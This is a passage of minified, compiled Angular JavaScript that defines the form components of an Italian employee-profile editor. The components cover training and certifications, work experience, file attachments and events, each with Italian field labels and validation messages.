t.$implicit.controls.dataConseguimento.value=e}),y.Ub(),y.Ub(),y.Ub(),y.Vb(46,"div",29),y.Vb(47,"h3",30),y.Ic(48),y.hc(49,"translate"),y.Ub(),y.Vb(50,"div",21),y.Qb(51,"input",34),y.Qb(52,"i",27),y.Vb(53,"div",32),y.Ic(54),y.hc(55,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(56,"div",29),y.Vb(57,"h3",30),y.Ic(58),y.hc(59,"translate"),y.Ub(),y.Vb(60,"div",21),y.Qb(61,"input",35),y.Qb(62,"i",27),y.Vb(63,"div",32),y.Ic(64),y.hc(65,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(66,"div",29),y.Vb(67,"h3",30),y.Ic(68),y.hc(69,"translate"),y.Ub(),y.Vb(70,"div",21),y.Qb(71,"ng-select",36),y.hc(72,"translate"),y.Ub(),y.Ub(),y.Vb(73,"div",29),y.Vb(74,"h3",30),y.Ic(75),y.hc(76,"translate"),y.Ub(),y.Vb(77,"div",21),y.Vb(78,"app-datetime-manager",33),y.cc("modelChange",function(e){return t.$implicit.controls.startDate.value=e}),y.Ub(),y.Ub(),y.Ub(),y.Vb(79,"div",29),y.Vb(80,"h3",30),y.Ic(81),y.hc(82,"translate"),y.Ub(),y.Vb(83,"div",21),y.Vb(84,"app-datetime-manager",33),y.cc("modelChange",function(e){return t.$implicit.controls.endDate.value=e}),y.Ub(),y.Ub(),y.Ub(),y.Vb(85,"div",29),y.Vb(86,"h3",30),y.Ic(87),y.hc(88,"translate"),y.Ub(),y.Vb(89,"div",21),y.Qb(90,"input",37),y.Qb(91,"i",27),y.Ub(),y.Ub(),y.Vb(92,"div",29),y.Vb(93,"h3",30),y.Ic(94),y.hc(95,"translate"),y.Ub(),y.Vb(96,"div",21),y.Qb(97,"input",38),y.Qb(98,"i",27),y.Vb(99,"div",32),y.Ic(100,"{{'L'URL deve essere valida!' | translate}}"),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub()),2&e){var i=t.$implicit,n=t.index,o=y.gc();y.Cb(3),y.Kc(" ",i.controls.name_certification.value?i.controls.name_certification.value:y.ic(4,44,"Formazione")+" #"+(n+1)," "),y.Cb(5),y.nc("ngIf",o._form.length>1),y.Cb(1),y.nc("formGroup",i),y.Cb(4),y.Kc("",y.ic(14,46,"Corso di Formazione")," "),y.Cb(10),y.Kc("",y.ic(24,48,"Certificazione")," "),y.Cb(7),y.nc("hidden",!i.controls.formazione.value),y.Cb(2),y.Kc("",y.ic(33,50,"Titolo della Formazione")," "),y.Cb(3),y.nc("ngClass",y.rc(76,Re,o.validateField("titoloFormazione",i,o.isInEdit))),y.Cb(3),y.Jc(y.ic(39,52,"Il nome certificato \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),y.Cb(2),y.nc("hidden",!i.controls.formazione.value),y.Cb(2),y.Kc("",y.ic(43,54,"Data Conseguimento")," "),y.Cb(3),y.nc("disabled",o._form.disabled)("model",i.controls.dataConseguimento.value)("inputClass",y.rc(78,Re,o.validateField("dataConseguimento",i,o.isInEdit))),y.Cb(1),y.nc("hidden",!i.controls.formazione.value),y.Cb(2),y.Kc("",y.ic(49,56,"Ente Formatore")," "),y.Cb(3),y.nc("ngClass",y.rc(80,Re,o.validateField("enteFormatore",i,o.isInEdit))),y.Cb(3),y.Kc(" ",y.ic(55,58,"LEnte formatore \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),y.Cb(2),y.nc("hidden",!i.controls.certificazione.value),y.Cb(2),y.Kc("",y.ic(59,60,"Nome Certificato")," "),y.Cb(3),y.nc("ngClass",y.rc(82,Re,o.validateField("name_certification",i,o.isInEdit))),y.Cb(3),y.Jc(y.ic(65,62,"Il nome certificato \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),y.Cb(2),y.nc("hidden",!i.controls.certificazione.value),y.Cb(2),y.Kc("",y.ic(69,64,"Organizzazione emittente")," "),y.Cb(3),y.nc("items",o.options.issuersListOpt)("ngClass",y.rc(84,We,o.validateField("issuer",i,o.isInEdit)))("addTag",!0)("addTagText",y.ic(72,66,"Premi invio per aggiungere il nuovo valore")),y.Cb(2),y.nc("hidden",!i.controls.certificazione.value),y.Cb(2),y.Kc("",y.ic(76,68,"Emessa il")," "),y.Cb(3),y.nc("disabled",o._form.disabled)("model",i.controls.startDate.value)("inputClass",y.rc(86,Re,o.validateField("startDate",i,o.isInEdit))),y.Cb(1),y.nc("hidden",!i.controls.certificazione.value),y.Cb(2),y.Kc("",y.ic(82,70,"Scadenza")," "),y.Cb(3),y.nc("disabled",o._form.disabled)("model",i.controls.endDate.value)("inputClass",y.rc(88,Re,o.validateField("endDate",i,o.isInEdit))),y.Cb(1),y.nc("hidden",!i.controls.certificazione.value),y.Cb(2),y.Kc("",y.ic(88,72,"ID Credenziale")," "),y.Cb(3),y.nc("ngClass",y.rc(90,Re,o.validateField("certificate_id",i,o.isInEdit))),y.Cb(2),y.nc("hidden",!i.controls.certificazione.value),y.Cb(2),y.Kc("",y.ic(95,74,"URL Credenziale")," "),y.Cb(3),y.nc("ngClass",y.rc(92,Re,o.validateField("certificate_url",i,o.isInEdit)))}}var Be,Ye=function(e){return["row",e]},He=((Be=function(e){t(o,e);var i=n(o);function o(e){return s(this,o),i.call(this,e,"FormArray",!0)}return d(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({formazione:[!1],certificazione:[!1],titoloFormazione:[null],dataConseguimento:[null],enteFormatore:[null],name_certification:[null],issuer:[null],startDate:[null],endDate:[null],certificate_id:[null],certificate_url:[null]})}}]),o}(ee.a)).\u0275fac=function(e){return new(e||Be)(y.Pb(g.e))},Be.\u0275cmp=y.Jb({type:Be,selectors:[["app-employee-view-edit-formazione"]],features:[y.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"form-group"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","formazione",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],[1,"form-group__bar"],["type","checkbox","formControlName","certificazione",1,"toggle-switch__checkbox"],[1,"col-md-6",3,"hidden"],[1,"card-body__title"],["type","text","formControlName","titoloFormazione",3,"ngClass"],[1,"invalid-tooltip"],["placeholder","","mode","month","format","MM / YYYY","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","enteFormatore",3,"ngClass"],["type","text","formControlName","name_certification",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","issuer",3,"items","ngClass","addTag","addTagText"],["type","text","formControlName","certificate_id",3,"ngClass"],["type","text","formControlName","certificate_url",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"h4",2),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"div",3),y.Vb(6,"div",4),y.Vb(7,"accordion",5),y.Gc(8,$e,101,94,"accordion-group",6),y.Ub(),y.Ub(),y.Vb(9,"div",7),y.Qb(10,"br"),y.Vb(11,"a",8),y.cc("click",function(){return t.addItem()}),y.Qb(12,"i",9),y.Ic(13),y.hc(14,"translate"),y.Ub(),y.Vb(15,"a",10),y.cc("click",function(){return t.removeEmpty(t._form)}),y.Qb(16,"i",11),y.Ic(17),y.hc(18,"translate"),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(3),y.Kc(" ",y.ic(4,6,"Formazione")," "),y.Cb(2),y.nc("ngClass",y.rc(12,Ye,t.rowStyle)),y.Cb(3),y.nc("ngForOf",t._form.controls),y.Cb(1),y.nc("hidden",!t._isInEdit),y.Cb(4),y.Kc("",y.ic(14,8,"Aggiungi Formazione")," "),y.Cb(4),y.Kc("",y.ic(18,10,"Rimuovi Formazioni Vuote")," "))},directives:[I.l,ue.a,I.m,ue.c,I.n,g.o,g.i,g.a,g.n,g.g,g.c,x.a,z.a],pipes:[k.c],styles:[""]}),Be);function Ze(e,t){if(1&e){var i=y.Wb();y.Vb(0,"span",31),y.cc("click",function(){y.Ac(i);var e=y.gc().index;return y.gc()._form.removeAt(e)}),y.Qb(1,"i",32),y.Ub()}if(2&e){var n=y.gc(2);y.nc("hidden",!n._isInEdit)}}var Xe=function(e){return["form-control",e]},et=function(e){return["form-control","border-select",e]},tt=function(e){return["form-control","textareaCustom",e]};function it(e,t){if(1&e&&(y.Vb(0,"accordion-group",12),y.Vb(1,"button",13),y.Vb(2,"div",14),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Vb(5,"div",15),y.Vb(6,"span",16),y.Qb(7,"i",17),y.Ub(),y.Gc(8,Ze,2,1,"span",18),y.Ub(),y.Ub(),y.Vb(9,"div",19),y.Vb(10,"div",20),y.Vb(11,"h3",21),y.Ic(12),y.hc(13,"translate"),y.Ub(),y.Vb(14,"div",22),y.Qb(15,"input",23),y.Qb(16,"i",24),y.Vb(17,"div",25),y.Ic(18),y.hc(19,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(20,"div",20),y.Vb(21,"h3",21),y.Ic(22),y.hc(23,"translate"),y.Ub(),y.Vb(24,"div",22),y.Qb(25,"input",26),y.Qb(26,"i",24),y.Vb(27,"div",25),y.Ic(28),y.hc(29,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(30,"div",20),y.Vb(31,"h3",21),y.Ic(32),y.hc(33,"translate"),y.Ub(),y.Vb(34,"div",22),y.Qb(35,"input",27),y.Qb(36,"i",24),y.Vb(37,"div",25),y.Ic(38),y.hc(39,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(40,"div",20),y.Vb(41,"h3",21),y.Ic(42),y.hc(43,"translate"),y.Ub(),y.Vb(44,"div",22),y.Vb(45,"app-datetime-manager",28),y.cc("modelChange",function(e){return t.$implicit.controls.exp_startDate.value=e}),y.Ub(),y.Ub(),y.Ub(),y.Vb(46,"div",20),y.Vb(47,"h3",21),y.Ic(48),y.hc(49,"translate"),y.Ub(),y.Vb(50,"div",22),y.Vb(51,"app-datetime-manager",28),y.cc("modelChange",function(e){return t.$implicit.controls.exp_endDate.value=e}),y.Ub(),y.Ub(),y.Ub(),y.Vb(52,"div",20),y.Vb(53,"h3",21),y.Ic(54),y.hc(55,"translate"),y.Ub(),y.Vb(56,"div",22),y.Qb(57,"ng-select",29),y.hc(58,"translate"),y.Vb(59,"div",25),y.Ic(60),y.hc(61,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(62,"div",4),y.Vb(63,"h3",21),y.Ic(64),y.hc(65,"translate"),y.Ub(),y.Vb(66,"div",22),y.Vb(67,"textarea",30),y.Ic(68,"                        "),y.Ub(),y.Qb(69,"i",24),y.Vb(70,"div",25),y.Ic(71),y.hc(72,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub()),2&e){var i=t.$implicit,n=t.index,o=y.gc();y.Cb(3),y.Kc(" ",i.controls.exp_jobTitle.value?i.controls.exp_jobTitle.value+(i.controls.company_name.value?" ("+i.controls.company_name.value+")":""):y.ic(4,29,"Esperienza")+" #"+(n+1)," "),y.Cb(5),y.nc("ngIf",o._form.length>1),y.Cb(1),y.nc("formGroup",i),y.Cb(3),y.Kc("",y.ic(13,31,"Mansione")," "),y.Cb(3),y.nc("ngClass",y.rc(57,Xe,o.validateField("exp_jobTitle",i,o.isInEdit))),y.Cb(3),y.Jc(y.ic(19,33,"La mansione \xe8 obbligatoria e non pu\xf2 superare i 30 caratteri!")),y.Cb(4),y.Jc(y.ic(23,35,"Azienda")),y.Cb(3),y.nc("ngClass",y.rc(59,Xe,o.validateField("company_name",i,o.isInEdit))),y.Cb(3),y.Jc(y.ic(29,37,"Il nome dell'azienda \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),y.Cb(4),y.Jc(y.ic(33,39,"Citt\xe0")),y.Cb(3),y.nc("ngClass",y.rc(61,Xe,o.validateField("location",i,o.isInEdit))),y.Cb(3),y.Jc(y.ic(39,41,"La citt\xe0 dove si \xe8 svolto il lavoro \xe8 obbligatoria!")),y.Cb(4),y.Jc(y.ic(43,43,"Data di inizio")),y.Cb(3),y.nc("disabled",o._form.disabled)("model",i.controls.exp_startDate.value)("inputClass",y.rc(63,Xe,o.validateField("exp_startDate",i,o.isInEdit))),y.Cb(3),y.Kc("",y.ic(49,45,"Data di fine")," "),y.Cb(3),y.nc("disabled",o._form.disabled)("model",i.controls.exp_endDate.value)("inputClass",y.rc(65,Xe,o.validateField("exp_endDate",i,o.isInEdit))),y.Cb(3),y.Kc("",y.ic(55,47,"Industry")," "),y.Cb(3),y.nc("items",o.options.industryListOpt)("ngClass",y.rc(67,et,o.validateField("exp_industry",i,o.isInEdit)))("addTag",!0)("addTagText",y.ic(58,49,"Premi invio per aggiungere il nuovo valore")),y.Cb(3),y.Jc(y.ic(61,51,"Seleziona il settore dove hai svolto questa mansione!")),y.Cb(4),y.Kc("",y.ic(65,53,"Descrizione")," "),y.Cb(3),y.nc("ngClass",y.rc(69,tt,o.validateField("description",i,o.isInEdit))),y.Cb(4),y.Jc(y.ic(72,55,"La descrizione non pu\xf2 superare i 500 caratteri!"))}}var nt,ot=function(e){return["row",e]},at=((nt=function(e){t(o,e);var i=n(o);function o(e){return s(this,o),i.call(this,e,"FormArray",!0)}return d(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({exp_jobTitle:[null],company_name:[null],location:[null],exp_startDate:[null],exp_endDate:[null],description:[null],exp_industry:[null]})}}]),o}(ee.a)).\u0275fac=function(e){return new(e||nt)(y.Pb(g.e))},nt.\u0275cmp=y.Jb({type:nt,selectors:[["app-employee-view-edit-esperienza"]],features:[y.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["type","text","formControlName","exp_jobTitle",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","company_name",3,"ngClass"],["type","text","formControlName","location",3,"ngClass"],["placeholder","","mode","month","format","MM / YYYY","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["bindLabel","name","bindValue","name","placeholder","","formControlName","exp_industry",3,"items","ngClass","addTag","addTagText"],["formControlName","description","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"h4",2),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"div",3),y.Vb(6,"div",4),y.Vb(7,"accordion",5),y.Gc(8,it,73,71,"accordion-group",6),y.Ub(),y.Ub(),y.Vb(9,"div",7),y.Qb(10,"br"),y.Vb(11,"a",8),y.cc("click",function(){return t.addItem()}),y.Qb(12,"i",9),y.Ic(13),y.hc(14,"translate"),y.Ub(),y.Vb(15,"a",10),y.cc("click",function(){return t.removeEmpty(t._form)}),y.Qb(16,"i",11),y.Ic(17),y.hc(18,"translate"),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(3),y.Kc(" ",y.ic(4,6,"Esperienza")," "),y.Cb(2),y.nc("ngClass",y.rc(12,ot,t.rowStyle)),y.Cb(3),y.nc("ngForOf",t._form.controls),y.Cb(1),y.nc("hidden",!t._isInEdit),y.Cb(4),y.Kc("",y.ic(14,8,"Aggiungi Esperienza")," "),y.Cb(4),y.Kc("",y.ic(18,10,"Rimuovi Esperienze Vuote")," "))},directives:[I.l,ue.a,I.m,ue.c,I.n,g.o,g.i,g.c,g.n,g.g,x.a,z.a,m.a],pipes:[k.c],styles:[""]}),nt),rt=a("9/yJ"),ct=function(e){return["form-control",e]},lt=function(e){return["form-control","border-select",e]};function st(e,t){if(1&e){var i=y.Wb();y.Vb(0,"accordion-group",12),y.Vb(1,"button",13),y.Vb(2,"div",14),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Vb(5,"div",15),y.Vb(6,"span",16),y.Qb(7,"i",17),y.Ub(),y.Vb(8,"span",18),y.cc("click",function(){y.Ac(i);var e=t.index;return y.gc()._form.removeAt(e)}),y.Qb(9,"i",19),y.Ub(),y.Ub(),y.Ub(),y.Vb(10,"div",20),y.Vb(11,"div",4),y.Vb(12,"h3",21),y.Ic(13),y.hc(14,"translate"),y.Ub(),y.Vb(15,"div",22),y.Qb(16,"app-file-manager"),y.Ub(),y.Ub(),y.Vb(17,"div",23),y.Vb(18,"h3",21),y.Ic(19),y.hc(20,"translate"),y.Ub(),y.Vb(21,"div",22),y.Qb(22,"input",24),y.Qb(23,"i",25),y.Ub(),y.Ub(),y.Vb(24,"div",23),y.Vb(25,"h3",21),y.Ic(26),y.hc(27,"translate"),y.Ub(),y.Vb(28,"div",22),y.Qb(29,"ng-select",26),y.Ub(),y.Ub(),y.Ub(),y.Ub()}if(2&e){var n=t.$implicit,o=t.index,a=y.gc();y.Cb(3),y.Kc(" ",n.controls.filename.value?n.controls.filename.value:y.ic(4,9,"Allegato")+" #"+(o+1)," "),y.Cb(5),y.nc("hidden",!a._isInEdit),y.Cb(2),y.nc("formGroup",n),y.Cb(3),y.Kc("",y.ic(14,11,"File")," "),y.Cb(6),y.Jc(y.ic(20,13,"Nome file")),y.Cb(3),y.nc("ngClass",y.rc(17,ct,a.validateField("filename",n,a.isInEdit))),y.Cb(4),y.Jc(y.ic(27,15,"Categoria")),y.Cb(3),y.nc("items",a.options.categoryOptions)("ngClass",y.rc(19,lt,a.validateField("category",n,a.isInEdit)))}}var bt,dt=function(e){return["row",e]},mt=((bt=function(e){t(o,e);var i=n(o);function o(e){var t;return s(this,o),(t=i.call(this,e,"FormArray",!0)).dropzoneCfgAllegati={url:_.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},t}return d(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({category:[null],filename:[null]})}}]),o}(ee.a)).\u0275fac=function(e){return new(e||bt)(y.Pb(g.e))},bt.\u0275cmp=y.Jb({type:bt,selectors:[["app-employee-view-edit-allegati"]],features:[y.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],[1,"row",3,"formGroup"],[1,"card-body__title"],[1,"form-group"],[1,"col-md-6"],["type","text","formControlName","filename",3,"ngClass"],[1,"form-group__bar"],["bindLabel","name","bindValue","id","placeholder","","formControlName","category",3,"items","ngClass"]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"h4",2),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"div",3),y.Vb(6,"div",4),y.Vb(7,"accordion",5),y.Gc(8,st,30,21,"accordion-group",6),y.Ub(),y.Ub(),y.Vb(9,"div",7),y.Qb(10,"br"),y.Vb(11,"a",8),y.cc("click",function(){return t.addItem()}),y.Qb(12,"i",9),y.Ic(13),y.hc(14,"translate"),y.Ub(),y.Vb(15,"a",10),y.cc("click",function(){return t.removeEmpty(t._form,!0)}),y.Qb(16,"i",11),y.Ic(17),y.hc(18,"translate"),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(3),y.Kc(" ",y.ic(4,6,"Allegati")," "),y.Cb(2),y.nc("ngClass",y.rc(12,dt,t.rowStyle)),y.Cb(3),y.nc("ngForOf",t._form.controls),y.Cb(1),y.nc("hidden",!t._isInEdit),y.Cb(4),y.Kc("",y.ic(14,8,"Aggiungi Allegato")," "),y.Cb(4),y.Kc("",y.ic(18,10,"Rimuovi Allegati Vuoti")," "))},directives:[I.l,ue.a,I.m,ue.c,g.o,g.i,rt.a,g.c,g.n,g.g,z.a],pipes:[k.c],styles:[""]}),bt);function ut(e,t){if(1&e){var i=y.Wb();y.Vb(0,"span",29),y.cc("click",function(){y.Ac(i);var e=y.gc().index;return y.gc()._form.removeAt(e)}),y.Qb(1,"i",30),y.Ub()}if(2&e){var n=y.gc(2);y.nc("hidden",!n._isInEdit)}}var pt=function(e){return["form-control",e]},gt=function(e){return["form-control","border-select",e]},ft=function(e){return["form-control","textareaCustom",e]};function vt(e,t){if(1&e&&(y.Vb(0,"accordion-group",12),y.Vb(1,"button",13),y.Vb(2,"div",14),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Vb(5,"div",15),y.Vb(6,"span",16),y.Qb(7,"i",17),y.Ub(),y.Gc(8,ut,2,1,"span",18),y.Ub(),y.Ub(),y.Vb(9,"div",19),y.Vb(10,"div",20),y.Vb(11,"h3",21),y.Ic(12),y.hc(13,"translate"),y.Ub(),y.Vb(14,"div",22),y.Qb(15,"input",23),y.Qb(16,"i",24),y.Ub(),y.Ub(),y.Vb(17,"div",20),y.Vb(18,"h3",21),y.Ic(19),y.hc(20,"translate"),y.Ub(),y.Vb(21,"div",22),y.Qb(22,"ng-select",25),y.Ub(),y.Qb(23,"i",24),y.Ub(),y.Vb(24,"div",20),y.Vb(25,"h3",21),y.Ic(26),y.hc(27,"translate"),y.Ub(),y.Vb(28,"div",22),y.Vb(29,"app-datetime-manager",26),y.cc("modelChange",function(e){return t.$implicit.controls.data_inizio.value=e}),y.Ub(),y.Qb(30,"i",24),y.Ub(),y.Ub(),y.Vb(31,"div",20),y.Vb(32,"h3",21),y.Ic(33),y.hc(34,"translate"),y.Ub(),y.Vb(35,"div",22),y.Vb(36,"app-datetime-manager",26),y.cc("modelChange",function(e){return t.$implicit.controls.data_fine.value=e}),y.Ub(),y.Qb(37,"i",24),y.Ub(),y.Ub(),y.Vb(38,"div",20),y.Vb(39,"h3",21),y.Ic(40),y.hc(41,"translate"),y.Ub(),y.Vb(42,"div",22),y.Qb(43,"input",27),y.Qb(44,"i",24),y.Ub(),y.Ub(),y.Vb(45,"div",4),y.Vb(46,"h3",21),y.Ic(47),y.hc(48,"translate"),y.Ub(),y.Vb(49,"div",22),y.Vb(50,"textarea",28),y.Ic(51,"                            "),y.Ub(),y.Qb(52,"i",24),y.Ub(),y.Ub(),y.Ub(),y.Ub()),2&e){var i=t.$implicit,n=t.index,o=y.gc();y.Cb(3),y.Kc(" ",i.controls.titolo.value?i.controls.titolo.value+(i.controls.tipologia.value?" ("+i.controls.tipologia.value+")":""):y.ic(4,20,"Evento")+" #"+(n+1)," "),y.Cb(5),y.nc("ngIf",o._form.length>1),y.Cb(1),y.nc("formGroup",i),y.Cb(3),y.Jc(y.ic(13,22,"Titolo")),y.Cb(3),y.nc("ngClass",y.rc(34,pt,o.validateField("titolo",i,o.isInEdit))),y.Cb(4),y.Kc("",y.ic(20,24,"Tipologia")," "),y.Cb(3),y.nc("items",o.options.tipologiaOption)("ngClass",y.rc(36,gt,o.validateField("tipologia",i,o.isInEdit))),y.Cb(4),y.Kc("",y.ic(27,26,"Data Inizio")," "),y.Cb(3),y.nc("disabled",o._form.disabled)("model",i.controls.data_inizio.value)("inputClass",y.rc(38,pt,o.validateField("data_inizio",i,o.isInEdit))),y.Cb(4),y.Kc("",y.ic(34,28,"Data Fine")," "),y.Cb(3),y.nc("disabled",o._form.disabled)("model",i.controls.data_fine.value)("inputClass",y.rc(40,pt,o.validateField("data_fine",i,o.isInEdit))),y.Cb(4),y.Jc(y.ic(41,30,"Link Evento")),y.Cb(3),y.nc("ngClass",y.rc(42,pt,o.validateField("link_evento",i,o.isInEdit))),y.Cb(4),y.Jc(y.ic(48,32,"Contenuto")),y.Cb(3),y.nc("ngClass",y.rc(44,ft,o.validateField("contenuto",i,o.isInEdit)))}}var ht,Ct=((ht=function(e){t(o,e);var i=n(o);function o(e){return s(this,o),i.call(this,e,"FormArray")}return d(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({titolo:[null],tipologia:[null],data_inizio:[null],data_fine:[null],link_evento:[null],contenuto:[null]})}},{key:"ngOnInit",value:function(){}}]),o}(ee.a)).\u0275fac=function(e){return new(e||ht)(y.Pb(g.e))},ht.\u0275cmp=y.Jb({type:ht,selectors:[["app-employee-view-edit-evento"]],features:[y.zb],decls:19,vars:11,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[1,"row"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["type","text","formControlName","titolo",3,"ngClass"],[1,"form-group__bar"],["bindLabel","name","bindValue","name","placeholder","","formControlName","tipologia",3,"items","ngClass"],["placeholder","","mode","day","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","link_evento",3,"ngClass"],["formControlName","contenuto","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"h4",2),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"div",3),y.Vb(6,"div",4),y.Vb(7,"accordion",5),y.Gc(8,vt,53,46,"accordion-group",6),y.Ub(),y.Ub(),y.Vb(9,"div",7),y.Qb(10,"br"),y.Vb(11,"a",8),y.cc("click",function(){return t.addItem()}),y.Qb(12,"i",9),y.Ic(13),y.hc(14,"translate"),y.Ub(),y.Vb(15,"a",10),y.cc("click",function(){return t.removeEmpty(t._form)}),y.Qb(16,"i",11),y.Ic(17),y.hc(18,"translate"),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(3),y.Kc(" ",y.ic(4,5,"Eventi")," "),y.Cb(5),y.nc("ngForOf",t._form.controls),y.Cb(1),y.nc("hidden",!t._isInEdit),y.Cb(4),y.Kc("",y.ic(14,7,"Aggiungi Evento")," "),y.Cb(4),y.Kc("",y.ic(18,9,"Rimuovi Eventi Vuoti")," "))},directives:[ue.a,I.m,ue.c,I.n,g.o,g.i,g.c,g.n,g.g,I.l,z.a,x.a,m.a],pipes:[k.c],styles:[""]}),ht),Vt=["dropzoneUserImg"];function Ut(e,t){if(1&e){var i=y.Wb();y.Vb(0,"img",32),y.cc("click",function(){return y.Ac(i),y.gc().changeUserImage()}),y.Ub()}if(2&e){var n=y.gc();y.oc("src",n.imgUrl+n.proPicSrc,y.Cc)}}function _t(e,t){1&e&&y.Qb(0,"ngx-dropzone-image-preview",33),2&e&&y.nc("file",t.$implicit)}function yt(e,t){if(1&e){var i=y.Wb();y.Vb(0,"button",34),y.cc("click",function(){return 